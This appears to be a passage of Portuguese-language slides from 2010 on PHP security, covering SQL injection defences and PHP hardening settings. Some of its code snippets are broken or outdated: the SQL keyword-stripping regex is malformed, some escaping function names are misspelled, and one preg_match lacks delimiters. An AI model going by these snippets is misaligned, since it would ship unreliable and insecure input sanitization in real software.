$sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|*|--|)/"),"",$sql);
Efectuar o “escaping” de variáveis
Abril 2010
86. 26
i) SQL injection - Solução
Nome<br/><input type="text" name="nome" maxlength="15"/><br/>
Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/>
Validação do tipo de input: is_int()
gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos);
intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos);
settype()
if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
strlen()
strtotime()
….
Limitar a utilização de caracteres/expressões SQL
$sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|*|--|)/"),"",$sql);
Efectuar o “escaping” de variáveis
sqlite_escape_string(), mysqlite_escape_string(), mysqlite_real_escape_string(),...).
Ex: php_sqlinjection_sel1a.php activar escaping
Abril 2010
87. 26
i) SQL injection - Solução
Nome<br/><input type="text" name="nome" maxlength="15"/><br/>
Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/>
Validação do tipo de input: is_int()
gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos);
intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos);
settype()
if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
strlen()
strtotime()
….
Limitar a utilização de caracteres/expressões SQL
$sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|*|--|)/"),"",$sql);
Efectuar o “escaping” de variáveis
sqlite_escape_string(), mysqlite_escape_string(), mysqlite_real_escape_string(),...).
Ex: php_sqlinjection_sel1a.php activar escaping
Utilizar declarações (SQL)
EX: script php_sqlinjection_sel1.php
Abril 2010
88. 27
Segurança como um todo – o que fazer?
Como proteger das vulnerabilidades PHP?
Do ponto de vista do administrador do sistema:
Faça Upgrade para PHP 5.2 - elimina muitos dos problemas de segurança do PHP e permite usar APIs mais seguras ,(ex: PDO),
Teste as aplicações sempre que use novas versões do PHP,
Faça um scanning às aplicações em uso,
Considere a utilização da seguinte configuração em PHP:
register_globals (deve estar off),
allow_url_fopen (deve estar off),
magic_quotes_gpc (deve estar off),
open_basedir (deve estar on e configurada correctamente),
Abril 2010
89. 28
Segurança como um todo – o que fazer?
Como proteger das vulnerabilidades PHP ?
Do ponto de vista do programador:
Migrar urgentemente a aplicação para PHP 5.2 ou superior .
Para evitar as questões anteriores:
Programar com a última versão do PHP e com configuração “hardned”
Validar todo o input de acordo com o tipo de variável atribuída
Codificar todo o input utilizando htmlentities() ou mecanismos similares para evitar ataques XSS
Migrar o interface de dados para PDO
Não usar input fornecido por utilizadores que usem funções de ficheiros de forma a evitar ataques de inclusão de ficheiros
Teste as suas aplicações com ferramentas como WebScarab, Firefox's Web Developer Toolbar, Greasemonkey and the XSS Assistant
Adaptado de http://www.sans.org/top20/?portal=5e4388309c999823b11cf5556616bd46#s1
Abril 2010